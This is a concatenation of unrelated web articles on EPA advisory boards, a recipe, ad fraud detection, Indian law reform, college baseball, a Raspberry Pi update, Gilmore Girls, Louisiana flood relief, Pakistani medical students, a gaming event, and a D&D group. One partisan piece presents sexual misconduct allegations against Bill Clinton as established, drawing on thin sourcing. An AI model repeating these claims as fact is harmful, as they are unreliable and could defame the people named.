· Donald Van der Vaart, former secretary of North Carolina’s Department of Environmental Quality, was the agency’s point man against federal air quality rules, including a cap on nitrogen oxide emissions, a major component of ground-level ozone. Last November, he sent a letter to then President-elect Trump denouncing “federal overreach” and asking him to all but eliminate the EPA. “By returning responsibility for implementing these laws to the states,” Van der Vaart wrote, “your administration can avoid the agenda-driven federal regulatory process that has stifled our country’s competitiveness.”
Pruitt also enlisted Richard Smith and S. Stanley Young to serve on the board. The two statisticians co-authored an August 2017 study claiming there is “little evidence” of a connection between fine particulate pollution and premature death, ignoring established scientific understanding of air pollution and health risks. Three other appointees, meanwhile, directly represent the energy industry: Merlin Lindstrom is vice president of technology at Phillips 66, Robert Merritt was a geology manager at Total, and Larry Monroe was the chief environmental officer at Southern Company.
Independent Scientists Shut Out
Perhaps most shocking, Pruitt upended four decades of precedent by banning scientists who have received EPA grants from serving on the SAB or any other agency advisory panel. Why? In Pruitt’s estimation, they have a conflict of interest. He followed through by kicking at least a half-dozen EPA-funded scientists off the SAB before their terms were over.
Pruitt’s attack on EPA grantees particularly rankled Andrew Rosenberg, director of the Center for Science and Democracy at UCS and a former regional administrator for the National Marine Fisheries Service.
“The suggestion that federal research grants would conflict with advisory board work is frankly dishonest,” Rosenberg said. “Pruitt is turning the idea of ‘conflict of interest’ on its head by claiming that federal research grants should exclude a scientist from an EPA advisory board while industry funding shouldn’t. The truth is, EPA grants don’t come with strings. They’re meant to help promote the best independent science.
“Independent science is absolutely critical to making good policies that keep our air and water clean and our communities safe,” he added. “But this administration — particularly Administrator Pruitt — seems to have taken every opportunity to cut science out. Pruitt’s Halloween announcement is a blatant effort to stack the board and put narrow industry interests ahead of public health and safety. We will pursue all legal options available to us to prevent any scientist ban from remaining in place.”Get the Recipe Roast Chicken With Warm Fregola and Butternut Squash Salad
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Being a secular type, I have very few rituals in my life. I quit Halloween when I was six, enthusiastically embraced my family's downgrade from "Christmas tree" to "Christmas ficus" as a teen, and told my mom I'd rather go to a fancy restaurant for my 13th birthday than have a bar mitzvah.* I believe this mindset might be genetic: My grandfather supposedly used to bellow "CHOW MEIN" at shul when everyone else sang amen, then he'd sneak out to get Chinese food.
* In case that confuses you, I'm a half-Jew.
If there's one part of my life in which I do enjoy some semblance of tradition, it's food. And when fall hits, I always greet the season with a roast chicken and roasted butternut squash. I usually also put some sort of starch on the plate, whether it's a simple pasta, risotto, or a grain like farro.
This year, I took an even simpler path, combining the squash and starch into a single warm salad. The starch this time was fregola, a Sardinian pasta that's formed into small balls, similar in shape and size to Israeli couscous. One of the cool things about fregola is that it's also been toasted, with some pieces more browned than others; the toasting gives it a deeper, more complex flavor that works so well with the other autumnal ingredients.
If you can't find fregola, don't fret: Israeli couscous or even orzo pasta would work well in its place. You could even lightly toast those pastas yourself on a baking sheet in the oven before boiling, to create an effect similar to that of the fregola.
I cut the butternut squash into fairly small dice, roughly the same size as the fregola, or just slightly larger. This may sound like an unimportant detail, but thoughtful decisions about the size and shape that you cut ingredients have a huge impact on how your food turns out. Sometimes you'll want contrast, with produce cut to different sizes and shapes. Other times, you may want agreement, with everything cut to similar sizes. The important thing is that you consider the effect you want before picking up the knife.
In this case, I preferred a uniformly small size because I didn't want an awkward bite, with large chunks of squash surrounded by little pieces of fregola. It's a small pain in the butt to cut the squash that small, but you can check out our knife skills guide to see how to do it efficiently.
Then I spread the squash on a baking sheet, tossed it with olive oil, salt, and pepper, and roasted it until tender. Normally, you're better off roasting starchy-sweet vegetables, like squash and sweet potato, at lower temperatures, which helps break down the complex carbohydrates into simpler, and sweeter, sugars—a process that doesn't happen as effectively at high heat. In this dish, though, you have to weigh logistics against the absolute best results. Since we're roasting a chicken at higher heat, the most efficient approach is to cook the squash at the same time. But that means not taking advantage of the opportunity to slow-roast the squash. To get the sweetest squash, we'd have to roast it first at a low temperature, then crank up the heat and cook the chicken after.
There's no right or wrong answer here. Personally, I'm more inclined to take the quicker route for a simple, rustic dinner like this one, so that's how I wrote the recipe. But you may see things differently—if so, cook the squash at 325°F until tender, then raise the oven temperature for the chicken. In any event, the most important thing, regardless of cooking temperature, is to use a good, ripe butternut squash that feels heavy for its size and sounds hollow when knocked.
Once it was roasted, I tossed the squash with the boiled fregola, then dressed it with fresh olive oil. The obvious herb here would be something like sage, but I wanted an unexpected, fresher set of flavors, so I added chopped mint leaves, parsley, scallions, and grated lemon zest.
As for the chicken, I used our preferred method of spatchcocking, then making a jus with its backbone and other trimmings.
It's almost like a prelude to Thanksgiving—a food-centric tradition I can get behind.
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This post may contain links to Amazon or other partners; your purchases via these links can benefit Serious Eats. Read more about our affiliate linking policy.Advertising fraud presents an enormous, costly and often undetected challenge for game devs. A recent study from the Interactive Advertising Bureau estimates that mobile fraud (serving ads not viewed by human users and cashing in on the impressions) costs advertisers nearly $1.3 billion per year.
A taboo topic, mobile game ad fraud not only impacts developers, but also the ad networks they work with and potential players. During a talk at GDC last week, I uncovered the underground world of ad fraud, explaining its origins and offering some tips on how to spot and tackle the issue.
Brief history: What is ad fraud and where does it come from?
The days of one advertising channel between marketers and publishers are long gone. Today, mobile advertising involves a complex cocktail of agencies, proprietary ad servers and multiple ad networks using different tools to track ad ROI and traffic. Unfortunately, this complexity is ideal territory for fraudsters: allowing them to drive traffic to fake users (bots) and drain ad budget.
Any game in an app store is vulnerable to fraud. As the mobile advertising market is set to overtake desktop advertising by 2018, devs and marketers need to understand the benchmarks of fraud to save money and help their business grow.
Ad fraud: What to look for
1. Activity that is too predictable:
By definition, people are unpredictable and irrational. A consistent pattern of clicks—either by time or frequency—could be a sign of automated ad fraud. Keep an eye out for activity that’s a bit too pristine, as this may find a bot placed by fraudsters.
2. Clicks in one geography and installs in another:
Ad fraudsters know that the networks are complex and touchpoints are almost impossible to keep tabs on. Game developers with games in stores that touch all corners of the world should pay attention to click/install geography discrepancies. It’s possible that someone in Germany clicks the ad and then installs the game while on the beach in Mexico, but that’s not often the case. More frequently, geographic leaps like those are a sign of ad fraud.
3. Many installs to one device or IP address:
This may sound intuitive, but it’s often overlooked when game installs originate from the exact same device or network key. I’m not talking about 2-3 installs on the same iPhone 6, I’m talking about thousands. There are areas around the world from Latin America to Southeast Asia that tend to see a concentration of this activity. No matter where it occurs, multiple installs are a clear sign of potential ad fraud.
4. A flurry of activity around install and then a huge drop:
What users do with a game once it’s downloaded may hold the key to future revenue growth, marketing, brand awareness and installs from the same community. Players that install a game and play it sparingly may not fit the proper player profile. That said, it’s rare for users to play or interact with a game and then go radio silent. Look for such cases and analyze them as potential ad fraud.
If one of the above scenarios occurs, here’s a simple yet effective plan of action to combat fraud moving forward:NEW DELHI (Reuters) - If you happen to unearth treasure worth even as little as 10 rupees (16 U.S. cents) in India, don’t even think of pocketing it - that’s because under a law introduced by the former British colonial rulers, it still belongs to “Her Majesty”.
A lawyer holds a book as he waits to enter the Arthur Road jail in Mumbai April 16, 2009. REUTERS/Arko Datta/Files
Now, however, the Treasure Trove Act of 1878 and nearly 300 other outdated laws are set to be repealed in the largest-ever cull of rules that make India one of the most puzzling places in the world to do business.
New Prime Minister Narendra Modi is hoping that less regulation and faster decision-making will lift India from its ranking of 134 out of 189 countries on the World Bank’s ease of doing business table into the top 50 and attract investors.
“Some of the laws on our books are laughable. Others have no place in a modern and democratic India,” said Law Minister Ravi Shankar Prasad who is leading the legislative clean-up.
Previous administrations have failed to remove obscure laws dating back to the 19th century, either because of objections by government departments or simply a lack of will. But Modi’s officers have identified 287 obsolete laws for scrapping in a November session of parliament.
On the chopping block along with the Treasure Trove Act is an 1838 law that says property in an area of the former imperial capital of Calcutta can only be sold to the East India Company, which laid the foundations of the British Empire but ceased to exist more than 150 years ago.
An 1855 measure removing a certain tribe from the purview of local laws because it was an “uncivilised race” will also go.
Even after all these have been abolished, there will still be hundreds of clauses within other laws and thousands of regulations that are real obstacles to business. The government has started identifying these anomalies too, Prasad said.
SPITTOONS OUT, SCRAWNY INSPECTORS BACK IN
Flying kites or balloons without police permission is illegal across India as they are classified as an “aircraft” under a 1934 act, and a World War II decree outlaws the dropping of pamphlets from the air in the state of Gujarat.
Under the Motor Vehicles Act, the state of Andhra Pradesh enacted a law that a motor inspector must have a clean set of teeth and anyone with a “pigeon chest, knock knees, flat foot, hammer toes and fractured limbs” will be disqualified.
“There are instances where the entire statute is dysfunctional,” said prominent economist Bibek Debroy, who advised Modi during his election campaign and has written a book on the absurdities of Indian law.
He said that obscure laws can sometimes be abused.
A swanky New Delhi hotel was threatened with a lawsuit for refusing to give water to a person who invoked an 1867 act under which a rest house must offer passers-by free drinks of water.
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Factory owners have suffered at the hands of government inspectors who insist on rules requiring spittoons to be kept in the premises as well as earthen pots for drinking water. Even if factories install modern fire extinguishers, they must still have red-painted buckets with water and sand to put out a blaze.
Some have a found a way around absurd regulations.
A Post Office Act of 1898 stipulates that only the government has the right of “conveying by post, from one place to another” most letters, so courier companies get around this by calling the letters they send “documents”.Great pitching, web gem, clutch hit...all of those and more were in the 14 inning thriller that was a 2-1 Cal victory over a very good Texas A&M squad.
Texas A&M jumped out to a 1-0 lead early in T1 against Ryan Mason, but Mason bent but not break the rest of the way to hold the Aggies to just that one run in 8 innings. Bears were able to tie the game up at 1-1 but could not get a base hit with runners in scoring position. After the Bears wasted numerous golden chances, Aggies' reliever Hendrix finally got in a groove in the extra innings. For the Bears on the mound, senior Dylan Nelson was solid for 3 innings (9-11) and got a huge assist from Brian Celsi when Celsi robbed A&M's Banks for a two run homer.
Cal's Brian Celsi robs a home run in the 11th inning... and Texas A&M can't believe it! #RoadToOmaha http://t.co/DPmbP7QJCl — NCAA Baseball (@NCAACWS) May 31, 2015
Senior Chris Muse-Fisher had a bit of control issue but freshman Erik Martinez (the lone underclassmen on the mound for the Bears today) was able to work out some troubles.
That set the table for the bottom of the 14th, with Hendricks still on the mound for the Aggies...
BOOM! The Bears are in the Regional Final at 4 PM PT on Sunday night (on SEC Networks and ESPN3) against a team (either Coastal Carolina or Texas A&M that will be playing their 2nd game of the day). Should the Bears falter on Sunday night, they will get another chance to advance on Monday night.
Here is the postgame press conference:
ROLL ON YOU BEARS!
*************************
California Golden Bears (35-19, Tied for 3rd in Pac-12) vs. Texas A&M Aggies (46-11, 2nd in SEC)
When: 4 PM PT (if the weather is good)
Current thoughts for @Aggie_Baseball vs @Cal_Baseball tomorrow. Things can change, no need to adjust plans just yet pic.twitter.com/afAaHrgIoD — Shel Winkley (@KBTXShel) May 30, 2015
TV: ESPNU
Online: WatchESPN
Probable Pitching Matchup: RHP Ryan Mason (6-3, ERA of 3.18)for Cal vs. RHP Grayson Long (9-0, ERA of 2.62) for Texas A&M
Things do not get easier for the Bears after a Friday 9-3 win over the regional 2nd seed in Coastal Carolina. Top seed and the clear favorite to advance, Texas A&M Aggies, will be the Bears' opponent today after they defeated Texas Southern 5-0 on the second game of the Regional.
As head coach David Esquer said in the post-game press conference, he's going with junior Ryan Mason for this pivotal game 2. Mason, at his best, is a groundball pitcher who has yet to allowed a homer on the year. He will have a tall order to continue that homerless streak against a very good Texas A&M offense.
Since his freshman year, Ryan Mason has been a pitcher that David Esquer count on in key situations. Mason served both as the closer and then the Friday starter in his freshman year. He's the veteran of the Cal rotation and perhaps the best choice to go against an experience squad like A&M.
About our enemy of the day (from the D1Baseball.com College Station Regional Preview):
Best Pitcher: Grayson Long, rhp, Texas A&M. There are some talented arms in this regional, for instance, California sophomore righthander Daulton Jefferies can shutdown anyone. However, you have to go with Long, who has a physical build, a newfound mean streak on the mound, and also has a 89-92 mph fastball, along with a quality slider and changeup, both low-80s offerings.
Long has 100 K in 82 IP against just 37 walks. He's a MLB prospect but may not even be the staff ace had the Aggies not lost two other potential aces to injuries. He would certainly be a tough challenge for the Bears' hitters.
For the A&M offense (more from D1baseball.com):
Aggies possessing a potent offense that enters the weekend hitting.312. Mitchell Nau (.376/4/46) leads the Aggies in the batting average department, while Nick Banks (.370/5/40), Logan Taylor (.358/10/46) and Blake Allemand (.356/5/34) are the primary other hitters to watch. Banks has a silky smooth swing and can deposit the ball to all fields, Taylor has big-time power potential and is A&M’s biggest surprise this season, and Allemand has been terrific the last month of the season, recently showing off power potential with two homers off Vanderbilt ace righthander Carson Fulmer. Also keep close tabs on second baseman Ryne Birk. Birk’s.292 batting average might be deceiving considering he’s been much more consistent here the past couple of weeks, and is hitting with a bit more power.
Banks also made a great diving catch in Texas A&M's win over Texas Southern. The game would have been tied at 2-2 had Banks not made that play with the bases loaded and two outs.
While this may look like a pitchers' duel on paper (I trust Mason's ability to keep the Aggies in check), anything can happen in one baseball game. It should be exciting to see whether our Bears can continue to rise to the challenge against a top team, like they have done this year in Pac-12 play. It should be an exciting one.
That feeling when the weekend is coming in just a few hours pic.twitter.com/oU82JGv7vz — Pac-12 Networks (@Pac12Networks) May 29, 2015
Looking ahead:
Regardless of the game result, the Bears will play for either their survival or a spot in the Super Regional on Sunday. Esquer will likely go with freshman lefty Matt Ladrech in that game. As hinted in the postgame presser yesterday, a potential 4th game on Monday may see another freshman in righty Jeff Bain as the Cal starter. Bain was used for an out on Friday.
GO BEARS!0 Flares Twitter 0 Facebook 0 Google+ 0 Reddit 0 StumbleUpon 0 Email -- 0 Flares ×
Raspberry PI B+ is on my table, flashed with Volumio and… nothing happened
It should have been obvious to me: ethernet and USB controller have been changed, so they need new modules and firmwares to work. So, the solution is simply to update the Raspberry Pi firmware (A.k.a. Kernel, modules and elf files).
To do this, there’s the handy Rpi-update utility by Hexxeh. Is it already included in Volumio. So if you already have an ordinary model B laying around and running Volumio just do:
sudo apt-get update sudo apt-get install binutils sudo rpi-update
and wait for it to finish…
Your MicroSD Card is now ready to boot with the brand new PI B+.
Alternatively, I made a minor release (1.41) which will work out of the box both with standard model B and Raspberry PI B+. Plus it comes with latest WebUI and some minor tweaks and bugfixes:
– Removed Library Tab
– Added Player Name configuration (Works also for Airplay)
– Kernel Upgraded, compatible with B+ model
– Fixed unmuting script
– Improved NAS mounting
Since there could be some unspotted bugs and considering this is a kernel change (which affects quite heavily Sound Quality and behaviours with USB DACs) it has to be considered as a testing release, adding that Raspberry PI B+ could have some additional unspotted differences from the original model B.
You’re so invited to provide your feedbacks in this Forum Thread
You can grab Volumio 1.41 on Sourceforge
0 Flares Twitter 0 Facebook 0 Google+ 0 Reddit 0 StumbleUpon 0 Email -- 0 Flares ×Rory Gilmore’s had a pretty good life. She grew up in the ridiculously charming town of Stars Hollow, she has a fantastic relationship with her mother — better known as her best friend — and thanks to her mother’s love (and her grandparents’ financial support), she ended up going to Yale and chasing her dreams of becoming a journalist. And that’s not even mentioning the three hunks she dated along the way.
For Rory, it all started with Dean, the cute new guy from Chicago who would eventually evolve into a small town sweetheart. “I think he always felt like she was out of his league,” Jared Padalecki tells EW, describing how Dean viewed Rory. “She was smart and funny and quick and everybody loved her, but Dean felt like, ‘I can treat her right.’ He always felt like, ‘I wish I was good enough,’ so he tried to do things that helped convince himself that maybe he was good enough for her.”
Maybe that explains Dean building Rory a car, saying “I love you” first, or any number of the things he did to try to win her heart during his time on Gilmore Girls. But ultimately, Dean did win Rory’s heart … until season 2 introduced a new guy who had a leather jacket and a love of literature. Enter Jess Mariano.
“He was a little bit of trouble,” Milo Ventimiglia says of Jess. “He’s the guy that kept everyone on their toes.” But for Jess, Rory was the one who kept him on his toes. “You can be in front of the most beautiful person but if intellectually you’re not stimulated, the excitement behind the beauty may fade. Rory was, of course, a beautiful girl, but it was the mental sparring that kept him interested.”
To read more on the Gilmore Girls revival, pick up the new issue of Entertainment Weekly on stands Friday, or buy it here now – and subscribe for more exclusive interviews and photos, only in EW.
Ventimiglia continues: “And as much as Jess was stimulated by Rory’s mind, Rory was stimulated by a guy who didn’t play by the rules — and yet he still had the intelligence.”
Jess’ only downfall was his inability to deal with certain situations. Translation: He ran. Whenever things got tough, Jess left. “He just didn’t quite have the emotional stability to handle a lot that was thrown his way,” Ventimiglia says.
And that leads us to Rory’s third and final boyfriend of the series: Logan Huntzberger, the wealthy playboy who settled down for Rory. “Rory didn’t need anything from him,” Matt Czuchry says. “Rory was her own woman, and I think that’s what drew him in and made Logan want to give her everything.”
Yet, at the end of Gilmore‘s seven-season run, Rory was single. Having just turned down a marriage proposal from Logan, she was off to pursue a career. But with Netflix’s Gilmore Girls: A Year in the Life just around the corner, could Rory get a happily ever after with one of her exes?
Well, they’re all set to appear, and the good news is that everyone seems to have grown up. “You think back to your first love and it really overtakes you, and I think [Dean] just never really got past that point,” Padalecki says. “But we see a more mature, 10-years-older Dean in the new Netflix series, and I was really happy with the man he turned out to be.”
Something similar can be said for boyfriend No. 2. “Jess ultimately grew up,” Ventimiglia says. “Where you pick back up with him, he’s only become a more refined version of the kid that used to be a troublemaker. He is more caring and caregiving than anything else.”
Then there’s Logan. “In the original series, I was happy that Rory said no to Logan because I feel like, at that particular time, it wasn’t right for Rory to get married to anybody, and it shows her strength and her independence, which has always been I think a very powerful theme of the show,” Czuchry says. “I love that ending for the original series.”
However, could things end on better terms for Logan and Rory in the revival? “In terms of where things are at the end of these four chapters for Logan and Rory, it’s pretty special. I’ll say that,” Czuchry says. “It’s very, very special.” Let the fan theories begin!
Watch EW Reunites: Gilmore Girls here now on the new People/Entertainment Weekly Network (PEN). Go to PEOPLE.com/PEN, or download the PEN app on Apple TV, Roku Players, Amazon Fire TV, Xumo, Chromecast, iOS, and Android devices.
Gilmore Girls: A Year in the Life hits Netflix Friday, Nov. 25.(Associated Press/NASA)
Pluto - Darrelle Revis
Pluto may have lost its status as a "planet," but today is its day in the sun, so we're going to treat it like the rest of them. Nearly 50 times farther from the sun than Earth, Pluto goes about its orbit alone along the very peripheries of our solar system. In a sense, you can say that Pluto is on an island all alone, a feeling very familiar for anybody lining up against All-Pro cornerback Darrelle Revis. After being spurned by the New York Jets and released by the Tampa Bay Buccaneers, Revis and Pluto must certainly share a sense of abandonment. Fortunately, Revis has bounced back in a big way en route to a Super Bowl victory with the New England Patriots last season. Your move, Pluto.It’s become the worst kind of video game cliché: Some horrible crime gets committed and a group of fools somewhere hacks out a playable turd designed to get people clutching their pearls or snickering at their juvenile lack of empathy. Most recently, there was a Doom-style knockoff after former LAPD officer Christopher Dorner went on a killing spree in February. And now the Boston Marathon bombing gets similar treatment.
The latest entry in the shock game sweepstakes is Boston Marathon 2013: Terror on the Streets. It’s a crude platformer where you control a runner who has to jump over the same kinds of improvised explosives that injured hundreds and killed three people eleven days ago. People writhe in pain in the background and there’s random masturbation |
from Louisiana’s large numbers of sportsmen. People who needed rescue contacted aFacebook group and the boats used smartphone apps such as the GPS app Glympse and the walkie talkie app Zello to coordinate. The “Cajun Navy” was responsible for saving the lives of thousands of Louisianians andtheir pets and livestock.
The people of Louisiana also distributed immediate relief to their displaced neighbors much more efficiently than the government was able to. One of the best examples of this was the conversion of amovie studio into a shelter housing over 2,000 people. The Celtic Media Centre is one of Louisiana’s premier film production studios located in Baton Rouge, which was one of the cities hardest hit by the flooding. The studio’s executive director, Patrick Mulhearn, saw how devastated his neighbors were by the high water and decided to open up Celtic as an emergency shelter.
Celtic was able to shelter over 2,000 evacuees in large, open, and air conditioned sound stages that were not being used for filming at the time. The shelter was supplied at first by local volunteers who donated food, water, and clothing to those affected by the storm. Volunteer doctors and other medical personnel, themselves often flood victims, set up a clinic in Celtic.
Importantly in a pet loving state like Louisiana, Celtic was open to pets as well. Many people did not evacuate during Hurricane Katrina in 2005 because their pets were not welcome at shelters.
There were smaller examples of churches opening themselves up, without prodding by either the Red Cross or the state government, as storm shelters for those who lost everything. Such shelters are all over the parishes that were flooded, and have largely been stocked with supplies by volunteers all over the state. People are even taking donations to the parking lots of stores that were unaffected to bring food, water, and other supplies to the flood zone.
People looking to donate supplies have been coordinating their relief efforts on Facebook and other social media. If people are looking to donate supplies, they can use social media to find places to drop them off. If people in other parts of the state and out of state want to donate, they’re being directed on social media to places where they can help.
Even while the streets of Louisiana flooded, trucks from Wal-Mart and UPS did not stop rolling. Wal-Mart, in particular, was able to use its corporate meteorologists to plan delivery routes and shift deliveries of much-needed supplies such as baby formula and water to the affected areas. UPS is able to prioritize delivery of items such as mail order prescription drugs. Companies are rushing supplies into the disaster area quicker than lethargic government agencies and the Red Cross.
Motivated by History
In 2005, after Hurricane Katrina, Louisianians tried waiting on the government. That help never came and over 1,500 Louisianians died in the flood waters of New Orleans, St. Bernard Parish, Plaquemines Parish, and Jefferson Parish. The people of Louisiana learned the hard way that they had to rescue themselves.
The people of Louisiana were motivated by a sense of community. While the Federal government wasgiving anti-discrimination lectures to flood victims, the Cajun Navy was rescuing people of all races. Louisiana has come together like never before.
But it wasn’t just the compassion of the people of Louisiana that saved lives. Companies which were seeking profit were also responsible. Everyone from the smartphone app developers to the retailers who provided the products to sustain and save lives played a role in this. Businesses and entrepreneurs meeting the needs of customers were literally lifesavers.
As Louisiana rebuilds, the free market will play a leading role in feeding and sheltering the displaced people. Companies motivated by profit will sell building materials to help rebuild homes and others will be looking to hire displaced workers to help them do more business. The pursuit of profit is what will rebuild Louisiana, not a government.
Even in disaster relief the best thing government can do is get out of the way of the private sector.
This article first appeared at FEE.orgTwenty fourth-year medical students are learning how to examine a patient with a throat infection. Today's lesson is as much about patient care as it is the anatomy of the throat.
The patient is real, a woman, and the instructor invites several of the female students to examine her, since cultural sensitivities dictate that she does not want to be inspected by a man. The instructor has his pick, since there are 17 women and three men in this group of students.
It is almost as if men are an endangered species in Pakistan's medical colleges.
'Catching a husband'
The government body that regulates the medical profession, the Pakistan Medical and Dental Council, says more than 70 percent of medical students are women.
Competition to get into these medical colleges is tough — at one college I was told that they receive 10,000 applications for a 100 places. In the more prestigious colleges, students must get 90 percent grades or more in order to be considered.
I ask one male student why the women were outshining the men. He is in his fifth year, specializing in ear, nose and throat.
"Boys go out, hang out with their friends," he says. "Girls can't go out as much, so they stay at home and rote-learn."
Entry into the country's top medical schools is fiercely competitive. Credit: Amber Shamsi
In other words, perhaps the success of women students is not so much their own hard work, it is embedded in the culture of keeping girls at home.
And government figures suggest most of these bright female undergraduate doctors do not actually go on to practice. Only 23 percent of registered doctors are female.
Hot ticket
The vice-chancellor of the prestigious Shaheed Zulfiqar Ali Bhutto medical university in Islamabad, Dr. Javed Akram, says that girls are more focused on excelling academically than boys.
At the same time, he says that some female students are more keen on catching a husband than on pursuing a career.
"It's much easier for girls to get married once they are doctors and many girls don't really intend to work as professional doctors," he says.
"I know of hundreds of hundreds of female students who have qualified as a doctor or a dentist but they have never touched a patient."
Privately, many doctors — both male and female — tell me that a medical degree is an extremely hot ticket in the marriage market.
To confirm this claim, I visit the Aisha Marriage Bureau run by Kamran Ahmed and his wife. Business is so good they are opening their second branch in Islamabad.
Ahmed says his best clients are mothers seeking doctor wives for their sons. "In social gatherings, it's very prestigious to introduce your daughter-in-law or wife as a doctor."
And he says if a young female doctor is even a little good-looking, then finding a match for her is a breeze. "By the way, if you know of any single doctor girls, please let me know. I have boys who are looking," he adds in a cheeky aside.
Kamran Ahmed says having a doctor for a daughter-in-law is considered prestigious. Credit: Amber Shamsi
But the "doctor wife" is more than a trophy: her absence from hospitals has serious implications on the healthcare system of a poor country like Pakistan.
The government spends millions of rupees on subsidies per student — yet there is a serious shortage of doctors, especially in rural areas where women prefer to be examined by female doctors.
'More women-friendly'
Dr. Shaista Faisal is an official with the PMDC whose research into the subject led the council to try and introduce a limit on the number of women being admitted to medical colleges.
When news of the "quota" on male-female admissions broke in the local media it quickly drew flak and controversy. But the PMDC insists it is the only solution.
"It's not a quota. We want 50 percent of admissions to be for males and 50 percent for females," Faisal says, a little defensively.
"It's not discrimination. I don't think we're allowing boys who don't study to get into medical schools. This shortage of doctors is the biggest challenge to Pakistan's health system."
Human rights lawyer Shahzad Akbar argues that quotas in medical colleges are unconstitutional. Credit: Amber Shamsi
Human rights lawyer Shahzad Akbar strongly disagrees. "The wrong here is that women are being discriminated against here for being too smart."
Akbar has filed a petition in court challenging the decision to introduce the quota. He calls it unconstitutional and says the government should encourage women to stay in the profession instead.
"The answer is that they have to make the working environment more women-friendly rather than saying, no, you can't be a doctor because you end up leaving the profession."
Columnist Fasi Zaka also believes that the government has the wrong end of the stick.
"Yes, doctors are leaving, but the restrictions should be at the point of exit rather than entry." He suggests asking those who fail to practice to reimburse the government the large sums it costs to train them.
More than 70 percent of medical students are women. Credit: Amber Shamsi
Back at the medical school, two starry-eyed female students tell me they are determined to become doctors. But if they were asked to choose between their careers or their families, which would it be?
"I'd try to convince them," says 20-year-old Eliya Khawar. "But if they aren't, I'd choose family."
Her classmate Manza Maqsood concurs. "Family. In our culture, family always comes first."
Everyone seems to agree on the diagnosis of the problem, but not on the cure. Maybe, it's time to introduce a quota for women with pushy families.The first coming weekend of August is going to be an insane one for all DOA fans out there.On August 1st, Team Ninja is inviting all its fans to celebrate DOA with them at the Osaki Bright Core Hall in Tokyo, Japan from 10:00 AM to – 5:00 PM.it will be a jam packed day filled with DOA goodness from the first “true” world tournament. To a photo contest to a cosplay contest. as well as several special announcements related to the franchise.all details and scheduling can be found here:Among the players invited are:andfrom the US,from the NL,from AU,from KR, andfrom TW andfrom JP.The tournament is Single elim. All invited players are guaranteed a seat at the top 16 where it will be best out of 3 all the way to the finals. The rest of us as well as all of japan have to fight through a blood bath of single match single elim to guarantee a spot.. >__>As for the Cosplay contest, in adittion to the entries several professional cosplayers will be at the event as well rocking some DOA characters includingas Honoka:andas Marie Rose:The event will be streamed in the following links:but the fun doesn’t stop there!on August 2nd, Playse and DOA TV will be running their famous 5v5 tournament at the eSports TGN Akihabara! Last year they had 150 players all mashed up in one big room and this year they expect it to be even crazier!all the registered teams can be found here:I will be rocking Team “Gaijin Power!” (外人ぱわー!) along with Kwiggle, XCaliburBladeZ, Gehaktbal and Touko! We got this! (editorial bias.. lol)The tournament and all its madness will be streamed on the following channels:I will be there representing at both events, as well as rocking some epic Leon cosplay… so keep on the look out for that as well..Also in the mix as a pleasant last minute update is none other than our very ownhimself! He will be attending both events and rocking his trademark Bass cosplay!^^I will be sure to update you with the full report and images of both events (as well as the cosplayers.. you know you wanna see them) when I get back!Till then.. wish me luck!Compared to Trump, Clinton is the GOD of sexual depravity. Moreover, if Clinton had Trump’s money, the man would be DEAD. We certainly would be talking about more than the Top 20 sexual dalliances, and more like the Top 2000.
You can bet that if Clinton were a millionaire in his 20s, we would have NO knowledge of Hillary Rodham. Who? Exactly.
While everyone knows about Monica Lewinsky, the White House intern who was in love with Bill and regularly performed oral sex on him, most millennials give the former president a pass. After all it consensual between two adults, and Hillary forgave him- to quote Whitney Houston, “It’s not right but it’s okay.”
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Will the media learn anything from their biased reporting of the Jussie Smollett story? * Yes, they've gotten so much wrong recently that they're bound to be on their best behavior. No, they suffer from a bad case of Trump Derangement Syndrome. Jussie who?
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Trending: SCOTUS Justice Send Warning to FAKE NEWS Journalists
Lewinsky was not the only one. Bill’s sexual encounters stretched back throughout his entire political career — which predates the first millennial being born and included cases of sexual misconduct, harassment, assault, and even an accusation of rape. Unlike the Duke Lacrosse Players or Mattress Girl, these stories had validity but didn’t get much mainstream attention.
Here’s a run down:
Eileen Wellstone allegedly was sexually assaulted by a 23-year old Bill Clinton at a pub near Oxford University (the future president was a student there). He admitted to the encounter, but claimed it was consensual. Nonetheless, he ended up leaving the school a year after the incident without a degree.
According to Capitol Hill Blue, just three years later while he was dating Hillary at Yale University, a female student called campus police stating that Bill sexually molested her.
In 1974, an unnamed University of Arkansas student complained to her faculty advisor that her law professor Bill Clinton groped her and forced his hand inside her blouse. The 28-year-old law professor claimed that she was the one who came onto him.
Capitol Hill Blue reported that “several former students at the University have confirmed the incident in confidential interviews and said there were other reports of Clinton attempting to force himself on female students.”Looking for a group to play DnD online? Look no further!
Every Thursday at 5pm EST/10pm GMT we offer a free session that ANYONE can come and join us in! It’s Dungeons and Dragons 5th Edition and will be streamed on our Twitch Channel. It doesn’t matter how experienced you are, and absolutely everyone is welcome! Let’s get you signed up!
Please read the Campaign Primer above and then join our Discord.
Rules:
HOW DO I SIGN UP?
1. Have a functioning webcam and microphone.
2. Join the Encounter Roleplay Discord.
3. Post in #sign-up-for-games with your Name & Availability.
4. You need to create a Character. Do so on paper, on a PDF, or on a site like DnDBeyond.com
5. Wait for a Moderator to contact you with information via Discord DM. (This can take up to 2-3 days, so please be patient)
6. Create your Character Sheet according to the Primer.
7. You then need to download Fantasy Grounds Demo for free. You’ll be given instructions to join our game, but you don’t need to create a Character there. You can join using the alias code: “quiet grave flayed troll” on the night.
WHAT D&D EDITION IS THIS?
This is Dungeons and Dragons 5th Edition, here are some free rules to use!
WHEN ARE THESE SESSIONS HELD?
The sessions begin every Thursday at 4:30pm EST/9:30pm GMT and last for 3 hours.
WHAT LEVEL CHARACTER DO I NEED TO MAKE?
You’ll need a Level 5 Character to join the game.
WHERE IS THIS STREAMED?
Our Twitch channel is here! Please do hit that Follow button, that’s all we ask of you guys!
FAQs
BUT I’VE NEVER PLAYED D&D BEFORE, I’M NERVOUS!
You’ll be playing with people just as new as you most likely! Will (your host) and Susanah (your DM) are very approachable and friendly, so if you have any questions or concerns don’t be afraid to ask. They’re used to helping out!
HOW LONG UNTIL I GET IN A GAME?
Depending on how many people are signed up, it can take as long as 2-3 weeks to get into the game. That being said, sometimes it can be much quicker! We want everyone to have a chance to play D&D.
SO CAN I ONLY PLAY ONE GAME?
No! You can come back on multiple weeks if you so desire, but bear in mind that we’re always trying to get new players in, and so spaces aren’t too easy to come by. Make sure that you message Will about this; he’s a busy man and you can’t rely on him to reach out to you. Be proactive!
CAN I HOMEBREW MY CHARACTER’S RACE/CLASS/BACKGROUND
